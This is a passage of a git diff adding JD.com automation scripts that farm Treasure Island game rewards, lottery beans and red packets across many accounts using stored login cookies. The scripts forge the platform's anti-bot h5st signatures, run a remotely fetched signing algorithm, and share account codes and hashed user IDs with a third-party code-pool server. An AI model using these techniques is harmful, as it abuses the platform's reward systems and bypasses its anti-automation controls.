'_cfd_t,bizCode,dwEnv,ptag,source,strZone') + await wait(2000) + for (let t of tasks.Data.TaskList) { + if (t.dwCompleteNum === t.dwTargetNum && t.dwAwardStatus === 2) { + res = await api('Award', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', {taskId: t.ddwTaskId}, 'right') + await wait(1000) + if (res.ret === 0) { + console.log(`领奖成功:`, res) + } else { + console.log('领奖失败', res) + } + } + } + + tasks = await api('story/GetActTask', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + await wait(2000) + if (tasks.Data.dwStatus === 3) { + res = await api('story/ActTaskAward', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + if (res.ret === 0) { + console.log('100财富任务完成') + } + } + await wait(2000) + + // 导游 + res = await api('user/EmployTourGuideInfo', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + if (!res.TourGuideList) { + console.log('手动雇佣4个试用导游') + } else { + for (let e of res.TourGuideList) { + if (e.strBuildIndex !== 'food' && e.ddwRemainTm === 0) { + let employ: any = await api('user/EmployTourGuide', '_cfd_t,bizCode,ddwConsumeCoin,dwEnv,dwIsFree,ptag,source,strBuildIndex,strZone', + {ddwConsumeCoin: e.ddwCostCoin, dwIsFree: 0, strBuildIndex: e.strBuildIndex}) + if (employ.iRet === 0) + console.log(`雇佣${e.strBuildIndex}导游成功`) + if (employ.iRet === 2003) + break + await wait(1000) + } + } + } + await wait(2000) + + for (let b of ['fun', 'shop', 'sea', 'food']) { + res = await api('user/CollectCoin', '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone', {strBuildIndex: b, dwType: '1'}) + console.log(`${b}收金币:`, res.ddwCoin) + await wait(1000) + } + } + + for (let i = 0; i < cookiesArr.length; i++) { + await getCodesHW() + // 获取随机助力码 + try { + let {data}: any = await axi.get(`https://api.jdsharecode.xyz/api/jxcfd/30`, {timeout: 10000}) + shareCodes = [...shareCodesSelf, ...shareCodesHW, ...data.data] + } catch (e) { + console.log('获取助力池失败') + shareCodes = [...shareCodesSelf, ...shareCodesHW] + } + + for (let j = 0; j < shareCodes.length; j++) { + cookie = cookiesArr[i] + console.log(`账号${i + 1}去助力:`, shareCodes[j]) + res = await api('story/helpbystage', '_cfd_t,bizCode,dwEnv,ptag,source,strShareId,strZone', {strShareId: shareCodes[j]}) + if (res.iRet === 0) { + console.log('助力成功:', res.Data.GuestPrizeInfo.strPrizeName) + } else if (res.iRet === 2235) { + console.log('上限') + break + } else if (res.iRet === 1023) { + console.log('信号弱') + break + } else if (res.iRet === 2191) { + console.log('已助力') + } else { + console.log('其他错误:', res) + } + await wait(3000) + } + } +})() + +async function api(fn: string, stk: string, params: Params = {}, taskPosition = '') { + let url: string + if (['GetUserTaskStatusList', 'Award', 'DoTask'].includes(fn)) { + let bizCode: string + if (!params.bizCode) { + bizCode = taskPosition === 'right' ? 'jxbfddch' : 'jxbfd' + } else { + bizCode = params.bizCode + } + url = `https://m.jingxi.com/newtasksys/newtasksys_front/${fn}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=&_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls` + } else { + url = `https://m.jingxi.com/jxbfd/${fn}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=7155.9.47&_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls` + } + url = h5st(url, stk, params, 10032) + let {data} = await axios.get(url, { + headers: { + 'Host': 'm.jingxi.com', + 'Referer': 'https://st.jingxi.com/', + 'User-Agent': USER_AGENT, + 'Cookie': cookie + } + }) + if (typeof data === 'string') { + try { + return JSON.parse(data.replace(/\n/g, '').match(/jsonpCBK.?\(([^)]*)/)![1]) + } catch (e) { + console.log(data) + return '' + } + } else + return data +} + +async function task() { + console.log('刷新任务列表') + res = await api('GetUserTaskStatusList', '_cfd_t,bizCode,dwEnv,ptag,showAreaTaskFlag,source,strZone,taskId', {taskId: 0, showAreaTaskFlag: 1}) + await wait(2000) + for (let t of res.data.userTaskStatusList) { + if (t.awardStatus === 2 && t.completedTimes === t.targetTimes) { + console.log('可领奖:', t.taskName) + res = await api('Award', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', {taskId: t.taskId, bizCode: t.bizCode}) + await wait(2000) + if (res.ret === 0) { + try { + res = JSON.parse(res.data.prizeInfo) + console.log(`领奖成功:`, res.ddwCoin, res.ddwMoney) + } catch (e) { + console.log('领奖成功:', res.data) + } + await wait(1000) + return 1 + } else { + console.log('领奖失败:', res) + return 0 + } + } + if (t.dateType === 2 && t.awardStatus === 2 && t.completedTimes < t.targetTimes && t.taskCaller === 1) { + console.log('做任务:', t.taskId, t.taskName, t.completedTimes, t.targetTimes) + res = await api('DoTask', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', {taskId: t.taskId, configExtra: '', bizCode: t.bizCode}) + await wait(5000) + if (res.ret === 0) { + console.log('任务完成') + return 1 + } else { + console.log('任务失败') + return 0 + } + } + } + return 0 +} + +async function makeShareCodes() { + try { + res = await api('user/QueryUserInfo', '_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strPgUUNum,strPgtimestamp,strPhoneID,strShareId,strVersion,strZone', { + ddwTaskId: '', + strShareId: '', + strMarkList: 'undefined', + strPgUUNum: token.strPgUUNum, + strPgtimestamp: token.strPgtimestamp, + strPhoneID: token.strPhoneID, + strVersion: '1.0.1' + }) + console.log('助力码:', res.strMyShareId) + shareCodesSelf.push(res.strMyShareId) + let bean: string = await getBeanShareCode(cookie) + let farm: string = await getFarmShareCode(cookie) + let pin: string = Md5.hashStr(cookie.match(/pt_pin=([^;]*)/)![1]) + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/autoInsert/jxcfd?sharecode=${res.strMyShareId}&bean=${bean}&farm=${farm}&pin=${pin}`) + console.log(data.message) + } catch (e) { + console.log('自动提交失败') + console.log(e) + } +} + +async function getCodesHW() { + try { + let {data}: any = await axi.get(`https://api.jdsharecode.xyz/api/HW_CODES`, {timeout: 10000}) + shareCodesHW = data['jxcfd'] || [] + } catch (e) { + } +} \ No newline at end of file diff --git a/jd_cfd_hb.js b/jd_cfd_hb.js new file mode 100644 index 0000000000..0cd5478abd --- /dev/null +++ b/jd_cfd_hb.js @@ -0,0 +1,126 @@ +"use strict"; +/** + * cfd 100 + * cron: 0 0 * * * + */ +var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { + function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } + return new (P || (P = Promise))(function (resolve, reject) { + function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } + function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } + function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } + step((generator = generator.apply(thisArg, _arguments || [])).next()); + }); +}; +var __generator = (this && this.__generator) || function (thisArg, body) { + var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; + return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; + function verb(n) { return function (v) { return step([n, v]); }; } + function step(op) { + if (f) throw new TypeError("Generator is already executing."); + while (_) try { + if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; + if (y = 0, t) op = [op[0] & 2, t.value]; + switch (op[0]) { + case 0: case 1: t = op; break; + case 4: _.label++; return { value: op[1], done: false }; + case 5: _.label++; y = op[1]; op = [0]; continue; + case 7: op = _.ops.pop(); _.trys.pop(); continue; + default: + if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } + if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } + if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } + if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } + if (t[2]) _.ops.pop(); + _.trys.pop(); continue; + } + op = body.call(thisArg, _); + } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } + if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; + } +}; +exports.__esModule = true; +var axios_1 = require("axios"); +var date_fns_1 = require("date-fns"); +var TS_USER_AGENTS_1 = require("./TS_USER_AGENTS"); +var cookie = '', res = '', UserName, token = {}; +!(function () { return __awaiter(void 0, void 0, void 0, function () { + var cookiesArr, _i, _a, t; + return __generator(this, function (_b) { + switch (_b.label) { + case 0: return [4 /*yield*/, (0, TS_USER_AGENTS_1.requestAlgo)()]; + case 1: + _b.sent(); + return [4 /*yield*/, (0, TS_USER_AGENTS_1.requireConfig)()]; + case 2: + cookiesArr = _b.sent(); + cookie = cookiesArr[0]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)[1]); + console.log("\n\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7 " + UserName + "\n"); + token = (0, TS_USER_AGENTS_1.getJxToken)(cookie); + return [4 /*yield*/, api('user/ExchangeState', '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone', { dwType: '2' })]; + case 3: + res = _b.sent(); + console.log(JSON.stringify(res)); + _i = 0, _a = res.hongbao; + _b.label = 4; + case 4: + if (!(_i < _a.length)) return [3 /*break*/, 12]; + t = _a[_i]; + console.log(t.strPrizeName, 'state:', t.dwState, 'num:', t.dwStockNum); + if (!(t.strPrizeName === '100元')) return [3 /*break*/, 11]; + _b.label = 5; + case 5: + if (!1) return [3 /*break*/, 9]; + if (!(new Date().getSeconds() < 10)) return [3 /*break*/, 6]; + return [3 /*break*/, 9]; + case 6: return [4 /*yield*/, (0, TS_USER_AGENTS_1.wait)(200)]; + case 7: + _b.sent(); + _b.label = 8; + case 8: return [3 /*break*/, 5]; + case 9: + console.log('exchange:', (0, date_fns_1.format)(Date.now(), 'yyyy-MM-dd HH:mm:ss:SSS')); + return [4 /*yield*/, api('user/ExchangePrize', '_cfd_t,bizCode,ddwPaperMoney,dwEnv,dwLvl,dwType,ptag,source,strPgUUNum,strPgtimestamp,strPhoneID,strPoolName,strZone', { + ddwPaperMoney: 100000, + dwLvl: 3, + dwType: 3, + strPgUUNum: token.strPgUUNum, + strPgtimestamp: token.strPgtimestamp, + strPhoneID: token.strPhoneID, + strPoolName: res.hongbaopool + })]; + case 10: + res = _b.sent(); + console.log(res); + return [3 /*break*/, 12]; + case 11: + _i++; + return [3 /*break*/, 4]; + case 12: return [2 /*return*/]; + } + }); +}); })(); +function api(fn, stk, params) { + return __awaiter(this, void 0, void 0, function () { + var url, data; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: + url = "https://m.jingxi.com/jxbfd/" + fn + "?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=&_ste=1&_=" + Date.now() + "&sceneval=2&_stk=" + encodeURIComponent(stk); + url = (0, TS_USER_AGENTS_1.h5st)(url, stk, params, 10032); + return [4 /*yield*/, axios_1["default"].get(url, { + headers: { + 'Host': 'm.jingxi.com', + 'Referer': 'https://st.jingxi.com/', + 'User-Agent': 'jdpingou', + 'Cookie': cookie + } + })]; + case 1: + data = (_a.sent()).data; + return [2 /*return*/, data]; + } + }); + }); +} diff --git a/jd_cfd_shell.ts b/jd_cfd_shell.ts new file mode 100644 index 0000000000..37cd5f78d8 --- /dev/null +++ b/jd_cfd_shell.ts @@ -0,0 +1,68 @@ +/** + * 财富岛捡贝壳挂后台 + * cron: 10 0 * * * + */ + +import axios from 'axios' +import USER_AGENT, {requireConfig, wait, requestAlgo, h5st} from './TS_USER_AGENTS' + +let cookie: string = '', res: any = '' +process.env.CFD_LOOP_DELAY ? console.log('设置延迟:', parseInt(process.env.CFD_LOOP_DELAY)) : console.log('设置延迟:10000~25000随机') + +let UserName: string, index: number +!(async () => { + await requestAlgo() + let cookiesArr: any = await requireConfig() + + while (1) { + if (new Date().getHours() === 0 && new Date().getMinutes() < 10) + break + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + try { + let shell: any = await speedUp('_cfd_t,bizCode,dwEnv,ptag,source,strZone') + if (shell?.Data?.NormShell) { + for (let s of shell.Data.NormShell) { + for (let j = 0; j < s.dwNum; j++) { + res = await speedUp('_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone', s.dwType) + if (res.iRet !== 0) { + console.log(res) + break + } + console.log('捡贝壳:', res.Data.strFirstDesc) + await wait(500) + } + } + } + } catch (e) { + console.log(e) + } + } + await wait(60 * 10 * 1000) // 10min + } +})() + +async function speedUp(stk: string, dwType?: number) { + try { + let url: string + if (stk === '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + url = `https://m.jingxi.com/jxbfd/story/queryshell?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=&_stk=_cfd_t%2CbizCode%2CdwEnv%2Cptag%2Csource%2CstrZone&_ste=1&_=${Date.now()}&sceneval=2` + else if (stk === '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone') + url = `https://m.jingxi.com/jxbfd/story/pickshell?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=&dwType=${dwType}&_stk=_cfd_t%2CbizCode%2CdwEnv%2CdwType%2Cptag%2Csource%2CstrZone&_ste=1&_=${Date.now()}&sceneval=2` + url = h5st(url, stk, {}) + let {data} = await axios.get(url, { + headers: { + 'Host': 'm.jingxi.com', + 'Referer': 'https://st.jingxi.com/', + 'User-Agent': USER_AGENT, + 'Cookie': cookie + } + }) + return data + } catch (e) { + return '' + } +} \ No newline at end of file diff --git a/jd_cfd_stock.ts b/jd_cfd_stock.ts new file mode 100644 index 0000000000..0e73784ba0 --- /dev/null +++ b/jd_cfd_stock.ts @@ -0,0 +1,169 @@ +/** + * 京喜财富岛库存监控 + * 非死循环脚本 + * 自行设置cron + * + * 添加需要监控的品名,&分隔 + * export CFD_STOCK="必胜客50元美食卡&星巴克50元代金券" + * + */ + +import {format} from 'date-fns' +import axios from 'axios' +import USER_AGENT from './TS_USER_AGENTS' +import * as dotenv from 'dotenv' + +const CryptoJS = require('crypto-js') +const notify = require('./sendNotify.js') +dotenv.config() +let appId: number = 10028, fingerprint: string | number, token: string = '', enCryptMethodJD: any +let cookie: string = '', cookiesArr: string[] = [], res: any = '' + +let target: string[] = process.env.CFD_STOCK + ? process.env.CFD_STOCK.split('&') + : ['必胜客50元美食卡', '星巴克50元代金券'] + +!(async () => { + await requestAlgo() + await requireConfig() + cookie = cookiesArr[0] + res = await api('user/ExchangeState', '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone', {dwType: '0'}) + + for (let j of res.goods) { + let name = j.strPrizeName.trim() + let stock = j.dwStockNum + console.log(name, stock) + if (target.includes(name) && stock !== 0) { + notify.sendNotify(`财富岛补货\n\n${name}`, `库存:${stock}`, '', '\n\n你好,世界!') + } + } +})() + +interface Params { + dwType?: string, +} + +function api(fn: string, stk: string, params: Params = {}) { + return new Promise(async resolve => { + let url = `https://m.jingxi.com/jxbfd/${fn}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=&_ste=1&_=${Date.now()}&sceneval=2&_stk=${encodeURIComponent(stk)}` + if (['GetUserTaskStatusList', 'Award', 'DoTask'].includes(fn)) { + console.log('api2') + url = `https://m.jingxi.com/newtasksys/newtasksys_front/${fn}?strZone=jxbfd&bizCode=jxbfddch&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=&_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now()}&sceneval=2` + } + if (Object.keys(params).length !== 0) { + let key: (keyof Params) + for (key in params) { + if (params.hasOwnProperty(key)) + url += `&${key}=${params[key]}` + } + } + url += '&h5st=' + decrypt(stk, url) + let {data}: any = await axios.get(url, { + headers: { + 'Host': 'm.jingxi.com', + 'Referer': 'https://st.jingxi.com/', + 'User-Agent': USER_AGENT, + 'Cookie': cookie + } + }) + resolve(data) + }) +} + +async function requestAlgo() { + fingerprint = await generateFp() + return new Promise(async resolve => { + let {data}: any = await axios.post('https://cactus.jd.com/request_algo?g_ty=ajax', { + "version": "1.0", + "fp": fingerprint, + "appId": appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }, { + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': USER_AGENT, + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + }) + if (data['status'] === 200) { + token = data.data.result.tk + console.log('token:', token) + let enCryptMethodJDString = data.data.result.algo + if (enCryptMethodJDString) enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)() + } else { + console.log(`fp: ${fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + resolve() + }) +} + +function decrypt(stk: string, url: string) { + const timestamp = (format(new Date(), 'yyyyMMddhhmmssSSS')) + let hash1: string + if (fingerprint && token && enCryptMethodJD) { + hash1 = enCryptMethodJD(token, fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex) + } else { + const random = '5gkjB6SpmC9s' + token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc` + fingerprint = 9686767825751161 + // $.fingerprint = 7811850938414161 + const str = `${token}${fingerprint}${timestamp}${appId}${random}` + hash1 = CryptoJS.SHA512(str, token).toString(CryptoJS.enc.Hex) + } + let st: string = '' + stk.split(',').map((item, index) => { + st += `${item}:${getQueryString(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}` + }) + const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat(appId.toString()), "".concat(token), "".concat(hash2)].join(";")) +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + const jdCookieNode = require('./jdCookie.js') + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function generateFp() { + let e = "0123456789" + let a = 13 + let i = '' + for (; a--;) + i += e[Math.random() * e.length | 0] + return (i + Date.now()).slice(0, 16) +} + +function getQueryString(url: string, name: string) { + let reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") + let r = url.split('?')[1].match(reg) + if (r != null) return unescape(r[2]) + return '' +} + +function wait(t: number) { + return new Promise(resolve => { + setTimeout(() => { + resolve() + }, t) + }) +} diff --git a/jd_checkCookie.ts b/jd_checkCookie.ts new file mode 100644 index 0000000000..76fe3ce736 --- /dev/null +++ b/jd_checkCookie.ts @@ -0,0 +1,42 @@ +/** + * 每天检测cookie是否有效 + * cron: 10 * * * * + */ +import axios from "axios" +import USER_AGENT, {requireConfig} from "./TS_USER_AGENTS" + +const notify = require('./sendNotify') +let cookie: string = '', UserName: string, index: number, errMsg: string = '' + +!(async () => { + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + + await api(index, cookie, UserName) + } + if (errMsg) + await notify.sendNotify("Cookie失效", errMsg, '', '你好,世界!') +})() + +async function api(index: number, cookie: string, username: string) { + let {data}: any = await axios.get(`https://me-api.jd.com/user_new/info/GetJDUserInfoUnion`, { + headers: { + Host: "me-api.jd.com", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": USER_AGENT, + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + }) + if (data.retcode === '0') { + console.log(index, '✅', username) + } else { + console.log(index, '❌', username) + errMsg += `${index} ${username}\n` + } +} diff --git a/jd_club_lottery.js b/jd_club_lottery.js new file mode 100644 index 0000000000..83bab7fcef --- /dev/null +++ b/jd_club_lottery.js @@ -0,0 +1,1410 @@ +/* +Last Modified time: 2021-5-11 09:27:09 +活动入口:京东APP首页-领京豆-摇京豆/京东APP首页-我的-京东会员-摇京豆 +增加京东APP首页超级摇一摇(不定时有活动) +增加超级品牌日做任务及抽奖 +增加 京东小魔方 抽奖 +Modified from https://github.com/Zero-S1/JD_tools/blob/master/JD_vvipclub.py +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#摇京豆 +5 0,23 * * * jd_club_lottery.js, tag=摇京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true +=================Loon=============== +[Script] +cron "5 0,23 * * *" script-path=jd_club_lottery.js,tag=摇京豆 +=================Surge============== +[Script] +摇京豆 = type=cron,cronexp="5 0,23 * * *",wake-system=1,timeout=3600,script-path=jd_club_lottery.js + +============小火箭========= +摇京豆 = type=cron,script-path=jd_club_lottery.js, cronexpr="5 0,23 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('摇京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let superShakeBeanConfig = { + "superShakeUlr": "",//超级摇一摇活动链接 + "superShakeBeanFlag": false, + "superShakeTitle": "", + "taskVipName": "", +} +$.assigFirends = []; +$.brandActivityId = '';//超级品牌日活动ID +$.brandActivityId2 = '2vSNXCeVuBy8mXTL2hhG3mwSysoL';//超级品牌日活动ID2 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await welcomeHome() + if ($.superShakeUrl) { + await getActInfo($.superShakeUrl); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.freeTimes = 0; + $.prizeBeanCount = 0; + $.totalBeanCount = 0; + $.superShakeBeanNum = 0; + $.moFangBeanNum = 0; + $.isLogin = true; + $.nickName = $.UserName; + message = '' + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + await clubLottery(); + await showMsg(); + } + } + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + if ($.canHelp && $.activityId) { + $.assigFirends = $.assigFirends.concat({ + "encryptAssignmentId": $.assigFirends[0] && $.assigFirends[0]['encryptAssignmentId'], + "assignmentType": 2, + "itemId": "SZm_olqSxIOtH97BATGmKoWraLaw", + }) + for (let item of $.assigFirends || []) { + if (item['encryptAssignmentId'] && item['assignmentType'] && item['itemId']) { + console.log(`\n账号 ${$.index} ${$.UserName} 开始给 ${item['itemId']} 进行助力`) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": item['itemId'], + "actionType": 0, + "source": "main" + }); + if (!$.canHelp) { + console.log(`次数已用完,跳出助力`) + break + } + } + } + //账号内部助力后,继续抽奖 + for (let i = 0; i < new Array(4).fill('').length; i++) { + await superBrandTaskLottery(); + await $.wait(400); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + } + if (superShakeBeanConfig.superShakeUlr) { + const scaleUl = { "category": "jump", "des": "m", "url": superShakeBeanConfig['superShakeUlr'] }; + const openjd = `openjd://virtual?params=${encodeURIComponent(JSON.stringify(scaleUl))}`; + $.msg($.name,'', `【${superShakeBeanConfig['superShakeTitle'] || '超级摇一摇'}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击弹窗直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { 'open-url': openjd }); + if ($.isNode()) await notify.sendNotify($.name, `【${superShakeBeanConfig['superShakeTitle']}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击链接直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { url: openjd }); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function clubLottery() { + try { + await doTasks();//做任务 + await getFreeTimes();//获取摇奖次数 + await vvipclub_receive_lottery_times();//京东会员:领取一次免费的机会 + await vvipclub_shaking_info();//京东会员:查询多少次摇奖次数 + await shaking();//开始摇奖 + await shakeSign();//京东会员签到 + await superShakeBean();//京东APP首页超级摇一摇 + await superbrandShakeBean();//京东APP首页超级品牌日 + await mofang();//小魔方 + } catch (e) { + $.logErr(e) + } +} +async function doTasks() { + const browseTaskRes = await getTask('browseTask'); + if (browseTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = browseTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + if (taskID.length > 0) console.log(`开始做浏览页面任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('browseTask', taskID[i]); + } + } + } else { + console.log(`${JSON.stringify(browseTaskRes)}`) + } + const attentionTaskRes = await getTask('attentionTask'); + if (attentionTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = attentionTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + console.log(`开始做关注店铺任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('attentionTask', taskID[i].toString()); + } + } + } +} +async function shaking() { + for (let i = 0; i < new Array($.leftShakingTimes).fill('').length; i++) { + console.log(`开始 【京东会员】 摇奖`) + await $.wait(1000); + const newShakeBeanRes = await vvipclub_shaking_lottery(); + if (newShakeBeanRes.success) { + console.log(`京东会员-剩余摇奖次数:${newShakeBeanRes.data.remainLotteryTimes}`) + if (newShakeBeanRes.data && newShakeBeanRes.data.rewardBeanAmount) { + $.prizeBeanCount += newShakeBeanRes.data.rewardBeanAmount; + console.log(`恭喜你,京东会员中奖了,获得${newShakeBeanRes.data.rewardBeanAmount}京豆\n`) + } else { + console.log(`未中奖\n`) + } + } + } + for (let i = 0; i < new Array($.freeTimes).fill('').length; i++) { + console.log(`开始 【摇京豆】 摇奖`) + await $.wait(1000); + const shakeBeanRes = await shakeBean(); + if (shakeBeanRes.success) { + console.log(`剩余摇奖次数:${shakeBeanRes.data.luckyBox.freeTimes}`) + if (shakeBeanRes.data && shakeBeanRes.data.prizeBean) { + console.log(`恭喜你,中奖了,获得${shakeBeanRes.data.prizeBean.count}京豆\n`) + $.prizeBeanCount += shakeBeanRes.data.prizeBean.count; + $.totalBeanCount = shakeBeanRes.data.luckyBox.totalBeanCount; + } else if (shakeBeanRes.data && shakeBeanRes.data.prizeCoupon) { + console.log(`获得优惠券:${shakeBeanRes.data.prizeCoupon['limitStr']}\n`) + } else { + console.log(`摇奖其他未知结果:${JSON.stringify(shakeBeanRes)}\n`) + } + } + } + if ($.prizeBeanCount > 0) message += `摇京豆:获得${$.prizeBeanCount}京豆`; +} +function showMsg() { + return new Promise(resolve => { + if (message) { + $.msg(`${$.name}`, `京东账号${$.index} ${$.nickName}`, message); + } + resolve(); + }) +} +//====================API接口================= +//查询剩余摇奖次数API +function vvipclub_shaking_info() { + return new Promise(resolve => { + 